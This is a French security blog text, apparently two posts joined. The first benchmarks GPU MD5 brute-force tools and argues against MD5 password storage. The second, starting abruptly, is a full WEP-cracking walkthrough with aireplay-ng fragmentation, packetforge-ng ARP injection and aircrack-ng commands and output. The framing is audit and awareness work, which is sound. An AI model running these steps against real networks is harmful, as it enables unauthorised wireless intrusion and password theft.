La plupart des développeurs utilisent généralement le MD5 pour stocker les données sensibles de leurs utilisateurs (mot de passe, parfois numéro de carte bleu, et ainsi de suite…). Ces derniers ont tendance à considérer cette méthode de hachage comme fiable alors qu’elle ne l’est pas. En effet, dès 1996, des chercheurs en sécurité ont mis en exergue la possibilité de créer des collisions. En 2004, les collisions complètes sont découvertes et le MD5 n’est dès lors plus considéré comme fiable d’un point de vue purement cryptographique. Cependant, sa facilité d’implémentation avec PHP à l’aide de md5(); et la méconnaissance des développeurs fait que cette méthode est encore très largement rependue au détriment de fonctions de hachage plus récentes et donc plus robustes comme SHA-256.

Suite à ces découvertes, plusieurs logiciels ont vu le jour afin de permettre de bruteforcer cette méthode de hachage (et pas uniquement celle-ci). Je suis souvent amené à devoir cracker ces chaines pour montrer au décideur pressé que le travail d’obfuscation des données par son développeur ou sysadmin n’est en réalité pas vraiment fiable. « Oui vous avez réussi à accéder à ma base de donnée, et alors ? Les données de nos clients sont cryptées ». Pour montrer au décideur qu’il fait fausse route, je me dois donc souvent de « bruteforcer » une ou plusieurs informations.

Les logiciels automatisant le bruteforce ont assez largement évolués récemment, passant d’une utilisation CPU, à CPU multi-core, et désormais CPU + GPU. En effet, le reversing des méthodes de hachage fascine, et remet chaque jour un peu plus en question la sécurité basée sur ces méthodes (surtout MD5 là pour le coup). Il suffit par exemple de voir l’excellent travail sur les certificats SSL: Creating a rogue CA certificate. Un fail dans une méthode remet en question bien plus de choses que la méthode en elle-même.

GPU est l’acronyme de Graphics Processing Unit, grosso-modo, l’utilisation de la puissance de calcul de votre carte graphique. Ce vecteur de puissance était jusqu’alors inexploité pour la simple et bonne raison que leur utilisation était closed-source. Nvidia a largement ouvert et démocratisé l’accessibilité aux processeurs graphiques en mettant à disposition un environnement de développement nommé CUDA.

Voici donc un petit comparatif des logiciels, le but est avant tout de démontrer en quoi l’utilisation des GPUs constitue une avancée non négligeable (tiens ça me rappelle une histoire de PS3 montées en grappes), et surtout de montrer qu’à fonctionnement équivalent, ils ne sont pas tous aussi rapides. L’autre but est bien évidement de vous sensibiliser si vous utilisez toujours cette méthode de cryptage dans vos sites (je fais le malin, mais WordPress utilise le md5 pour stocker les passwords).

Machine utilisée pour ce test:
Dell XPS M1530
Intel Core 2 Duo CPU T9300 2,50 Ghz
NVIDIA GeForce Go 8600M GT, 256 MB

Comparatif des softs
J’étais parti pour inclure John the Ripper dans le test, mais il fallait employer un hack. Je me suis donc concentré sur les softs faisant bien nativement du bruteforce de MD5.

CAIN (http://www.oxid.it/cain.html)
Bon, à la décharge de CAIN, il ne sert pas uniquement à bruteforcer des hashs. C’est un couteau suisse qui permet de faire de l’ARP Poisoning, d’appliquer des filtres de snif etc. Donc bon, considérons que sa GUI ainsi que l’essence du soft font que ce n’est pas sa force, mais tout de même:
Résultat obtenu: 7 Millions h/s

MDcrack (Shot 1) (http://membres.lycos.fr/mdcrack/)
Probablement l’un des plus anciens et des plus connus soft de bruteforce de MD5. Tout en command-line.
Dans ce premier shot, pour simuler l’évolution, je l’ai limité à un seul CORE pour le CPU.
Résultat obtenu: 12,5 Millions h/s

Le CPU est sollicité à 50% ce qui est parfaitement logique compte tenu du fait que j’ai un Dual CORE.

MDcrack (Shot 2) (http://membres.lycos.fr/mdcrack/)
Pour le second shot, je décide d’utiliser pleinement mon CPU. C’est à dire, avant que l’on utilise les GPU, ce qui se faisait de mieux en matière de bruteforce. J’ai un core DUO, je double sans surprise.
Résultat obtenu: 24 Millions h/s

GPU MD5 CRACK (http://bvernoux.free.fr/md5/index.php)
Cette fois nous utilisons un bruteforcer sollicitant les GPUs. Malhreusement il dispose d’une GUI qui doit impacter ses perfs mais voyons tout de même la différence:
Résultat obtenu: 44 Millions h/s !

Extreme GPU Bruteforcer (http://www.insidepro.com/eng/egb.shtml)
Un autre GPU Bruteforcer, cette fois en command-line, mais on remarque que lui non plus ne sollicte pas le CPU au maximum.
Résultat obtenu: 53 Millions h/s !

BarsWF (http://3.14.by/en/md5)
Là, on passe en mode uber-gore. On constate avec ce logiciel une réelle maximisation de l’utilisation CPU + GPU. La courbe d’utilisation CPU n’est plus sinusoidale ici. Je n’ai pas une grosse config pour le coup, reportez vous à la conclusion pour voir ce qu’il a vraiment dans le sac :-)
Résultat obtenu: 124 Millions h/s !

Conclusion

Vous devez mieux comprendre pourquoi l’image illustrant ce billet est un logo Nvidia. La rapidité de bruteforce via GPU n’est en rien comparable à ce que l’on pouvait exploiter il y a encore quelques années. J’ai demandé à un collègue qui a un double CORE, et une CG ATI (ATI Radeon HD 4870) de réaliser le test pour moi:

*¦ Key: kshnmhwi Avg.Total: 1066.40 MHash/sec ¦

¦ Hash:87a2f7772d361d70d4b43cb5141a50e1 ¦

¦ Progress: 28.92 % ETC 0 days 0 hours 2 min 19 sec ¦

+———————————————————–+

– Key is: johnjean——————————————
Résultat obtenu avec BarWF: 1 066 Millions h/s !
Deux minutes pour mettre à mal la chaine: johnjean

Je n’ai évoqué ici que la maximisation de tentative de hash/s, pas le temps global que met une chaine à être forcée. Lors de mon prochain billet je tenterai d’établir un comparatif avec les méthodes d’attaque par rainbow table. A noter également que je n’ai pas parlé de la suite Elcomsoft Distributed Password Recovery qui permet de monter des grappes de travail. En gros l’application se divise en deux parties une cliente et une serveur. On peut donc créer un serveur et relier 20 machines dessus. Avec des machines comme celle de mon collègue (1 066 Millions h/s) bruteforcer une base de donnée client pour en extraire les pass et plus ne doit pas prendre bien longtemps. N’hésitez donc pas à modifier vos méthodes de stockage même si les énorme montage sont généralement reservé aux agences à trois lettres :-) Il va sans dire que les signatures de fichier en MD5 sont tout aussi faillible que ce que vous encryptez.

PS: Voici plus d’un mois que j’avais posté, mais je viens de trouver un logiciel me permettant de blogger depuis le train, cela devrait reprendre. (BlogDesk)

Il y a deux méthodes pour analyser les données: soit l’on se contente de sniffer passivement, soit on utilise une attaque par framentation qui permet d’injecter des packets et donc de réduire considérablement le temps de sniffing. A noter que BackTrack 3 optimise assez largement les algos pour cracker, il n’est plus nécessaire d’avoir beaucoup d’IVs pour décrypter une clé WEP.

Après avoir booté sur le LiveCD, voici comment cela se présente:

// Tout d’abord on charge le driver pour la fameuse carte
bt ~ # modprobe -r iwl3945
bt ~ # modprobe ipwraw

// On la passe en mode monitor
bt ~ # airmon-ng start wifi0

// On va dans un premier temps rechercher les réseaux wifi actifs et ceux qui ont le plus de DATA qui transitent ainsi que la meilleur couverture. Les data correspondent aux IVs nécessaires à crackerla clé WEP.
bt ~ # airodump-ng wifi0

// Le but est de prendre celle qui a le plus de beacons, et lorsque l’on choisit celle-ci, on repère bien le channel, le BSSID et l’ESSID. Dans mon cas, supposons:
Channel: 11
BSSID: 00:01:02:03:04:05
ESSID: RESEAU-CRYPT

A partir d’ici on a grosso-modo les deux solutions en question, sniffer passivement, où bien injecter les fameuses données pour accélérer le processus. Si vous voyez d’emblé beaucoup de donnée transiter, sniffer + cracking peut potentiellement suffire.

// Je manque de patience, je vais réaliser une attaque par fragmentation pour injecter de nombreuses données. Tout d’abord, je vais m’auth sur le système distant (-e représente le SSID de la cible, -h représente l’adresse Mac source, généralement, nous):
bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0

Généralement cette commande doit vous retourner:
bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0
11:56:39 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».

11:56:39 Sending Authentication Request (Open System) [ACK]
11:56:39 Authentication successful
11:56:39 Sending Association Request [ACK]
11:56:39 Association successful (AID: 1)

Cependant il arrive parfois que vous obteniez une erreur de ce type (si vous avez laissé le scan tourner par exemple).

bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0
11:55:23 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 12
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».
11:55:23 wifi0 is on channel 12, but the AP uses channel 11

Comment résolvons-nous cela ? Simplement en faisant la bascule sur la bonne interface:

bt ~ # airmon-ng start wifi0 11
wifi0 Centrino a/b/g ipwraw-ng (monitor mode enabled)

//Bien, après cet aparté, revenons à nos moutons. Vous en êtes normalement au 11:56:39 Association successful (AID: 1). Nous allons désormais générer une keystream valide afin de forger notre packet d’injection:

bt ~ # aireplay-ng -5 -e RESEAU-CRYPT wifi0
No source MAC (-h) specified. Using the device MAC (05:04:03:02:01:00)
11:57:55 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».
11:57:55 Waiting for a data packet…
Read 2791 packets…

Size: 371, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:01:02:03:04:05
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = BLABLA

0×0000: 0841 3a01 0016 3810 7484 0013 ce8a 8259 .A:…8.t……Y
0×0010: ffff ffff ffff 1000 0100 0000 2f23 a566 …………/#.f
0×0020: 8a89 e333 2c18 02c2 0c65 fc79 7eb9 7398 …3,….e.y~.s.
0×0030: 42fc a81c e682 179c ac10 f1a3 d83e 3770 B…………>7p
0×0040: a3ff cb34 62e0 e232 3e17 8340 544b ee1d …4b..2>..@TK..
0×0050: f06c a543 3b51 05d6 bdb0 a10a a159 4fbd .l.C;Q…….YO.
0×0060: 2499 1efc 58b3 1cfc bc72 b109 a9ee 29b6 $…X….r….).
0×0070: 6234 b6d8 4b90 a3b0 a1ac f626 5603 82d9 b4..K……&V…
0×0080: 5d0e 27a1 453a f536 86b5 ee7c f73f 9bc1 ].’.E:.6…|.?..
0×0090: 2813 b8e4 a24c 3bce dc98 2be2 6a79 c313 (….L;…+.jy..
0x00a0: f530 7596 4430 958d 2406 de88 7664 481f .0u.D0..$…vdH.
0x00b0: 7cf2 c2ac 8211 a26f c217 1fd1 d30f 1949 |……o…….I
0x00c0: b12e 6507 cab2 6619 d6d8 9a1c a018 720c ..e…f…….r.
0x00d0: e004 2c4f 533b 1326 0c57 0006 2950 e468 ..,OS;.&.W..)P.h
— CUT —

Use this packet ? y

Saving chosen packet in replay_src-0726-115911.cap
11:59:20 Data packet found!
11:59:20 Sending fragmented packet
11:59:20 Got RELAYED packet!!
11:59:20 Trying to get 384 bytes of a keystream
11:59:20 Got RELAYED packet!!
11:59:20 Trying to get 1500 bytes of a keystream
11:59:20 Got RELAYED packet!!
Saving keystream in fragment-0726-115920.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

//Maintenant que nous avons notre keystream, on change de soft le temps de générer le packet d’injection. Packetforge-ng est là pour ca.
//arp définit le type d’attaque
//-y passe le fragment à utiliser généré par airplay
//-a adresse MAC de la cible (BSSID)
//-h adresse MAC de l’attaquant
//-k notre adresse ip suppossée
//-l adresse ip supposée du routeur
//-w permet d’écrire le packet d’injection final
bt ~ # packetforge-ng –arp -y fragment-0726-115920.xor -a 00:01:02:03:04:05 -h 05:04:03:02:01:00 -k 192.168.1.100 -l 192.168.1.1 -w audit.cap
Wrote packet to: alice.cap

//Essayons maintenant d’injecter des données histoire de voir si tout a fonctionné:

bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0
12:04:07 Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11
Found BSSID « 00:01:02:03:04:05″ to given ESSID « RESEAU-CRYPT ».
Saving ARP requests in replay_arp-0726-120407.cap
You should also start airodump-ng to capture replies.
Read 5394 packets (got 2051 ARP requests and 3234 ACKs), sent 2652 packets…(500 pps)

Bien, tout fonctionne, à partir de maintenant, cracker la clé wep ne prendra pas plus de trois minutes. Il faut parfois se ré-authentifier avant de lancer l’injection de donnée. Vous pouvez stopper l’injection tout marche. Pour cracker définitivement la clé, cela se passe en trois temps:

// On sniffe l’interface sur laquelle nous avons travaillé:
bt ~ # airodump-ng -w capture –channel 11 wifi0

// Les datas ne bougent alors pas beaucoup. On injecte donc les données:
bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0

//Enfin, on lance, en parallèle à l’envoi de donnée, le crack du fichier dans lequel on écrit la capture. Ce n’est pas grave si lorsque vous lancez le crack il n’y a pas encore assez d’IVs, il est reloadé régulièrement.

bt ~ # aircrack-ng capture-01.cap
Opening capture-01.cap
Read 121863 packets.

# BSSID ESSID Encryption

1 RESEAU-CRYPT2 No data – WEP or WPA
2 RESEAU-CRYPT3 No data – WEP or WPA
3 00:01:02:03:04:05 RESEAU-CRYPT WEP (33689 IVs)
4 RESEAU-CRYPT4 No data – WEP or WPA
5 RESEAU-CRYPT5 None (0.0.0.0)
6 RESEAU-CRYPT6 No data – WEP or WPA
7 RESEAU-CRYPT7 No data – WEP or WPA

Index number of target network ? 3

// On selectionne le ESSID sur lequel on a travaillé, et là magie:

bt ~ # Aircrack-ng 1.0 rc1 r1085

[00:00:03] Tested 1339440 keys (got 33677 IVs)

KB depth byte(vote)
0 1/ 2 2C(40192) 5E(39424) A0(39424) A4(39424) DA(39168) 28(38912) 33(38912)
1 0/ 1 A6(47616) 30(41472) 15(40960) BF(40960) 35(40448) 42(40192) DE(39936)
2 0/ 1 FA(48640) DE(41216) 11(40192) B8(39936) 29(39680) 3F(39168) 68(39168)
3 0/ 1 BA(50432) 68(41216) 62(40704) EA(39936) ED(39936) BB(39680) 13(39424)
4 0/ 2 3E(44288) 9F(43264) 14(42752) 89(41216) A2(40960) 3E(40192) 7E(39680)
5 0/ 1 A0(46080) 6B(43264) 07(41472) 5F(41472) 0F(41216) DB(41216) EF(40448)
6 1/ 2 16(41984) 79(40448) 8E(40448) F1(39936) F2(39936) 66(39680) AB(39680)
7 0/ 2 7A(44032) 46(43264) 97(41984) 77(41216) 5A(39936) E0(39936) 18(39680)
8 0/ 1 75(45056) 75(42752) 67(41472) 34(40960) 08(40448) 87(40448) 15(40192)
9 0/ 1 F3(46336) 26(41216) E8(41216) 74(40960) C9(40448) CD(40448) 2B(39936)
10 17/ 10 E7(38400) 10(38144) 27(38144) 7A(38144) A8(38144) B1(38144) 4C(37888)
11 0/ 2 AB(46080) DD(45056) 98(41472) DC(41216) 26(40960) 3D(40960) 1A(40704)
12 0/ 1 A8(46080) 9A(41728) C7(41216) 00(39680) 1A(39168) 62(39168) CD(39168)

KEY FOUND! [blabla]
Decrypted correctly: 100%

Si les suites air* ne vous sont pas familières, je vous conseille d’aller vous balader par ici:
http://linux.die.net/man/1/airmon-ng
http://linux.die.net/man/1/airodump-ng
http://linux.die.net/man/1/aireplay-ng
http://linux.die.net/man/1/packetforge-ng
http://linux.die.net/man/1/aircrack-ng